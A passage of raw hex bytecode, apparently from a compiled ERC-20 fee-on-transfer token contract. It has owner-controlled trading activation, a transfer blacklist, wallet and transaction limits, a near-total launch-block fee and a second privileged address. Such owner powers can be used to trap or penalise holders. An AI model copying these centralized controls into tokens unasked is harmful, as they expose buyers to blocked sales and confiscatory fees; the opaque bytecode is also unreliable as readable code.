0a9090613f67565b80601f0160208091040260200160405190810160405280929190818152602001828054610abc90613f67565b8015610b095780601f10610ade57610100808354040283529160200191610b09565b820191906000526020600020905b815481529060010190602001808311610aec57829003601f168201915b5050505050905090565b6000610b27610b20612194565b848461219c565b6001905092915050565b60166020528060005260406000206000915054906101000a900460ff1681565b610b59612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90613e27565b60405180910390fd5b611388610bf3610d5b565b610bfd9190613fc8565b6103e883610c09610d5b565b610c139190613ff9565b610c1d9190613fc8565b1015610c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c55906140c5565b60405180910390fd5b611388610c69610d5b565b610c739190613fc8565b6103e882610c7f610d5b565b610c899190613ff9565b610c939190613fc8565b1015610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb906140c5565b60405180910390fd5b6103e882610ce0610d5b565b610cea9190613ff9565b610cf49190613fc8565b6007819055506103e881610d06610d5b565b610d109190613ff9565b610d1a9190613fc8565b6008819055505050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b600b60029054906101000a900460ff1681565b6000600254905090565b60145481565b60135481565b6000610d7e848484612367565b610e3f84610d8a612194565b610e3a85604051806060016040528060288152602001614d9360289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610df0612194565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f339092919063ffffffff16565b61219c565b600190509392505050565b610e52612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed890613e27565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b6000610fd7610f3b612194565b84610fd28560016000610f4c612194565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213690919063ffffffff16565b61219c565b6001905092915050565b7f0000000000000000000000009a140689017a67a51dfed684b1801b323f7a142e81565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611063612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e990613e27565b60405180910390fd5b81600d6001018190555080600d60020181905550600d60020154600d6001015461111c9190613e76565b600d60000181905550600f600d60000154111561116e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116590613f18565b60405180910390fd5b5050565b600b60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111d5612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611264576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125b90613e27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61132d612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b390613e27565b60405180910390fd5b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61141f612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a590613e27565b60405180910390fd5b6001600b60006101000a81548160ff0219169083151502179055506001600b60016101000a81548160ff02191690831515021790555043601a81905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61151f612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a590613e27565b60405180910390fd5b80600b60016101000a81548160ff02191690831515021790555050565b6060600480546115da90613f67565b80601f016020809104026020016040519081016040528092919081815260200182805461160690613f67565b80156116535780601f1061162857610100808354040283529160200191611653565b820191906000526020600020905b81548152906001019060200180831161163657829003601f168201915b5050505050905090565b60176020528060005260406000206000915054906101000a900460ff1681565b611685612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611714576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170b90613e27565b60405180910390fd5b7f0000000000000000000000009a140689017a67a51dfed684b1801b323f7a142e73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179a90614157565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006118c161180b612194565b846118bc85604051806060016040528060258152602001614dbb6025913960016000611835612194565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f339092919063ffffffff16565b61219c565b6001905092915050565b60006118df6118d8612194565b8484612367565b6001905092915050565b60186020528060005260406000206000915054906101000a900460ff1681565b611911612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199790613e27565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611a03612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8990613e27565b60405180910390fd5b611388611a9d610d5b565b611aa79190613fc8565b6103e882611ab3610d5b565b611abd9190613ff9565b611ac79190613fc8565b1015611b08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aff906141e9565b60405180910390fd5b6103e881611b14610d5b565b611b1e9190613ff9565b611b289190613fc8565b60098190555050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d8060000154908060010154908060020154908060030154908060040154908060050154905086565b6000611b8b612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1190613e27565b60405180910390fd5b81600a8190555060019050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3890614255565b60405180910390fd5b611388611d4c610d5b565b611d569190613fc8565b6103e883611d62610d5b565b611d6c9190613ff9565b611d769190613fc8565b1015611db7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dae906140c5565b60405180910390fd5b611388611dc2610d5b565b611dcc9190613fc8565b6103e882611dd8610d5b565b611de29190613ff9565b611dec9190613fc8565b1015611e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e24906140c5565b60405180910390fd5b6103e882611e39610d5b565b611e439190613ff9565b611e4d9190613fc8565b6007819055506103e881611e5f610d5b565b611e699190613ff9565b611e739190613fc8565b6008819055505050565b611e85612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0b90613e27565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611f77612194565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612006576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ffd90613e27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612076576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206d906142e7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082846121459190613e76565b90508381101561218a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218190614353565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561220c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612203906143e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561227c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227390614477565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161235a9190613ba5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156123d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ce90614509565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243e9061459b565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124af9061462d565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612529576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612520906146bf565b60405180910390fd5b600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156125cd5750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390614751565b60405180910390fd5b60008114156126265761262183836000612f97565b612f2e565b61262e6114ed565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561269c575061266c6114ed565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156126b55750600b60029054906101000a900460ff16155b15612a3b57600b60009054906101000a900460ff166127af57601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061276f5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6127ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a5906147bd565b60405180910390fd5b5b601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156128525750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128a15760075481111561289c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128939061484f565b60405180910390fd5b612990565b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129445750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561298f5760085481111561298e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612985906148e1565b60405180910390fd5b5b5b601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612a3a576009546129ed83611185565b826129f89190613e76565b1115612a39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a309061494d565b60405180910390fd5b5b5b6000612a4630611185565b90506000600a548210159050808015612a6b5750600b60019054906101000a900460ff165b8015612a845750600b60029054906101000a900460ff16155b8015612ad95750601860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8015612b2f5750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612b855750601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612bc9576001600b60026101000a81548160ff021916908315150217905550612bad61322c565b6000600b60026101000a81548160ff0219169083151502179055505b6000600b60029054906101000a900460ff16159050601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612c7f5750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8957600090505b60008115612f1e576002601a54612ca09190613e76565b431115612cee57612cce6064612cc060638861343990919063ffffffff16565b6134b490919063ffffffff16565b90508060136000828254612ce29190613e76565b92505081905550612efa565b601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612d4c57506000600d60030154115b15612df557612d7c6064612d6e600d600301548861343990919063ffffffff16565b6134b490919063ffffffff16565b9050600d60030154600d6005015482612d959190613ff9565b612d9f9190613fc8565b60146000828254612db09190613e76565b92505081905550600d60030154600d6004015482612dce9190613ff9565b612dd89190613fc8565b60136000828254612de99190613e76565b92505081905550612ef9565b601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612e5357506000600d60000154115b15612ef857612e836064612e75600d600001548861343990919063ffffffff16565b6134b490919063ffffffff16565b9050600d60000154600d6002015482612e9c9190613ff9565b612ea69190613fc8565b60146000828254612eb79190613e76565b92505081905550600d60000154600d6001015482612ed59190613ff9565b612edf9190613fc8565b60136000828254612ef09190613e76565b925050819055505b5b5b6000811115612f0f57612f0e873083612f97565b5b8085612f1b919061496d565b94505b612f29878787612f97565b505050505b505050565b6000838311158290612f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f7291906139f9565b60405180910390fd5b5060008385612f8a919061496d565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ffe90614509565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613077576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161306e9061459b565b60405180910390fd5b6130828383836134fe565b6130ed81604051806060016040528060268152602001614d6d602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f339092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613180816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161321f9190613ba5565b60405180910390a3505050565b600061323730611185565b9050600060135460145461324b9190613e76565b905060008083148061325d5750600082145b1561326a57505050613437565b6014600a546132799190613ff9565b831115613292576014600a5461328f9190613ff9565b92505b6000600283601454866132a59190613ff9565b6132af9190613fc8565b6132b99190613fc8565b905060006132d0828661350390919063ffffffff16565b905060004790506132e08261354d565b60006132f5824761350390919063ffffffff16565b90506000613320876133126013548561343990919063ffffffff16565b6134b490919063ffffffff16565b905060008183613330919061496d565b9050600060148190555060006013819055506000861180156133525750600081115b1561339f576133618682613799565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618582601454604051613396939291906149a1565b60405180910390a15b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516133e590614a09565b60006040518083038185875af1925050503d8060008114613422576040519150601f19603f3d011682016040523d82523d6000602084013e613427565b606091505b5050809750505050505050505050505b565b60008083141561344c57600090506134ae565b6000828461345a9190613ff9565b90508284826134699190613fc8565b146134a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134a090614a90565b60405180910390fd5b809150505b92915050565b60006134f683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613882565b905092915050565b505050565b600061354583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612f33565b905092915050565b6000600267ffffffffffffffff81111561356a57613569614ab0565b5b6040519080825280602002602001820160405280156135985781602001602082028036833780820191505090505b50905030816000815181106135b0576135af614adf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561365057600080fd5b505afa158015613664573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136889190614b23565b8160018151811061369c5761369b614adf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613701307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461219c565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613763959493929190614c49565b600060405180830381600087803b15801561377d57600080fd5b505af1158015613791573d6000803e3d6000fd5b505050505050565b6137c4307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8461219c565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008030426040518863ffffffff1660e01b815260040161382996959493929190614ca3565b6060604051808303818588803b15801561384257600080fd5b505af1158015613856573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061387b9190614d19565b5050505050565b600080831182906138c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138c091906139f9565b60405180910390fd5b50600083856138d89190613fc8565b9050809150509392505050565b600080fd5b6000819050919050565b6138fd816138ea565b811461390857600080fd5b50565b60008135905061391a816138f4565b92915050565b60008060408385031215613937576139366138e5565b5b60006139458582860161390b565b92505060206139568582860161390b565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561399a57808201518184015260208101905061397f565b838111156139a9576000848401525b50505050565b6000601f19601f8301169050919050565b60006139cb82613960565b6139d5818561396b565b93506139e581856020860161397c565b6139ee816139af565b840191505092915050565b60006020820190508181036000830152613a1381846139c0565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613a4682613a1b565b9050919050565b613a5681613a3b565b8114613a6157600080fd5b50565b600081359050613a7381613a4d565b92915050565b60008060408385031215613a9057613a8f6138e5565b5b6000613a9e85828601613a64565b9250506020613aaf8582860161390b565b9150509250929050565b60008115159050919050565b613ace81613ab9565b82525050565b6000602082019050613ae96000830184613ac5565b92915050565b600060208284031215613b0557613b046138e5565b5b6000613b1384828501613a64565b91505092915050565b6000819050919050565b6000613b41613b3c613b3784613a1b565b613b1c565b613a1b565b9050919050565b6000613b5382613b26565b9050919050565b6000613b6582613b48565b9050919050565b613b7581613b5a565b82525050565b6000602082019050613b906000830184613b6c565b92915050565b613b9f816138ea565b82525050565b6000602082019050613bba6000830184613b96565b92915050565b600080600060608486031215613bd957613bd86138e5565b5b6000613be786828701613a64565b9350506020613bf886828701613a64565b9250506040613c098682870161390b565b9150509250925092565b600060ff82169050919050565b613c2981613c13565b82525050565b6000602082019050613c446000830184613c20565b92915050565b613c5381613a3b565b82525050565b6000602082019050613c6e6000830184613c4a565b92915050565b613c7d81613ab9565b8114613c8857600080fd5b50565b600081359050613c9a81613c74565b92915050565b60008060408385031215613cb757613cb66138e5565b5b6000613cc585828601613a64565b9250506020613cd685828601613c8b565b9150509250929050565b600060208284031215613cf657613cf56138e5565b5b6000613d0484828501613c8b565b91505092915050565b600060208284031215613d2357613d226138e5565b5b6000613d318482850161390b565b91505092915050565b600060c082019050613d4f6000830189613b96565b613d5c6020830188613b96565b613d696040830187613b96565b613d766060830186613b96565b613d836080830185613b96565b613d9060a0830184613b96565b979650505050505050565b60008060408385031215613db257613db16138e5565b5b6000613dc085828601613a64565b9250506020613dd185828601613a64565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613e1160208361396b565b9150613e1c82613ddb565b602082019050919050565b60006020820190508181036000830152613e4081613e04565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613e81826138ea565b9150613e8c836138ea565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613ec157613ec0613e47565b5b828201905092915050565b7f4d757374206b656570206665657320617420313525206f72206c657373000000600082015250565b6000613f02601d8361396b565b9150613f0d82613ecc565b602082019050919050565b60006020820190508181036000830152613f3181613ef5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613f7f57607f821691505b60208210811415613f9357613f92613f38565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fd3826138ea565b9150613fde836138ea565b925082613fee57613fed613f99565b5b828204905092915050565b6000614004826138ea565b915061400f836138ea565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561404857614047613e47565b5b828202905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e747360008201527f206c6f776572207468616e20302e352500000000000000000000000000000000602082015250565b60006140af60308361396b565b91506140ba82614053565b604082019050919050565b600060208201905081810360008301526140de816140a2565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b600061414160398361396b565b915061414c826140e5565b604082019050919050565b6000602082019050818103600083015261417081614134565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b60006141d360248361396b565b91506141de82614177565b604082019050919050565b60006020820190508181036000830152614202816141c6565b9050919050565b7f6f776e6572212d63616c6c657200000000000000000000000000000000000000600082015250565b600061423f600d8361396b565b915061424a82614209565b602082019050919050565b6000602082019050818103600083015261426e81614232565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006142d160268361396b565b91506142dc82614275565b604082019050919050565b60006020820190508181036000830152614300816142c4565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061433d601b8361396b565b915061434882614307565b602082019050919050565b6000602082019050818103600083015261436c81614330565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006143cf60248361396b565b91506143da82614373565b604082019050919050565b600060208201905081810360008301526143fe816143c2565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061446160228361396b565b915061446c82614405565b604082019050919050565b6000602082019050818103600083015261449081614454565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006144f360258361396b565b91506144fe82614497565b604082019050919050565b60006020820190508181036000830152614522816144e6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061458560238361396b565b915061459082614529565b604082019050919050565b600060208201905081810360008301526145b481614578565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865206445614420616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061461760258361396b565b9150614622826145bb565b604082019050919050565b600060208201905081810360008301526146468161460a565b9050919050565b7f45524332303a207472616e7366657220746f207468652064456144206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006146a960238361396b565b91506146b48261464d565b604082019050919050565b600060208201905081810360008301526146d88161469c565b9050919050565b7f596f752068617665206265656e20626c61636b6c69737465642066726f6d207460008201527f72616e73666572696e6720746f6b656e73000000000000000000000000000000602082015250565b600061473b60318361396b565b9150614746826146df565b604082019050919050565b6000602082019050818103600083015261476a8161472e565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b60006147a760168361396b565b91506147b282614771565b602082019050919050565b600060208201905081810360008301526147d68161479a565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b600061483960358361396b565b9150614844826147dd565b604082019050919050565b600060208201905081810360008301526148688161482c565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b60006148cb60368361396b565b91506148d68261486f565b604082019050919050565b600060208201905081810360008301526148fa816148be565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b600061493760138361396b565b915061494282614901565b602082019050919050565b600060208201905081810360008301526149668161492a565b9050919050565b6000614978826138ea565b9150614983836138ea565b92508282101561499657614995613e47565b5b828203905092915050565b60006060820190506149b66000830186613b96565b6149c36020830185613b96565b6149d06040830184613b96565b949350505050565b600081905092915050565b50565b60006149f36000836149d8565b91506149fe826149e3565b600082019050919050565b6000614a14826149e6565b9150819050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614a7a60218361396b565b9150614a8582614a1e565b604082019050919050565b60006020820190508181036000830152614aa981614a6d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050614b1d81613a4d565b92915050565b600060208284031215614b3957614b386138e5565b5b6000614b4784828501614b0e565b91505092915050565b6000819050919050565b6000614b75614b70614b6b84614b50565b613b1c565b6138ea565b9050919050565b614b8581614b5a565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614bc081613a3b565b82525050565b6000614bd28383614bb7565b60208301905092915050565b6000602082019050919050565b6000614bf682614b8b565b614c008185614b96565b9350614c0b83614ba7565b8060005b83811015614c3c578151614c238882614bc6565b9750614c2e83614bde565b925050600181019050614c0f565b5085935050505092915050565b6000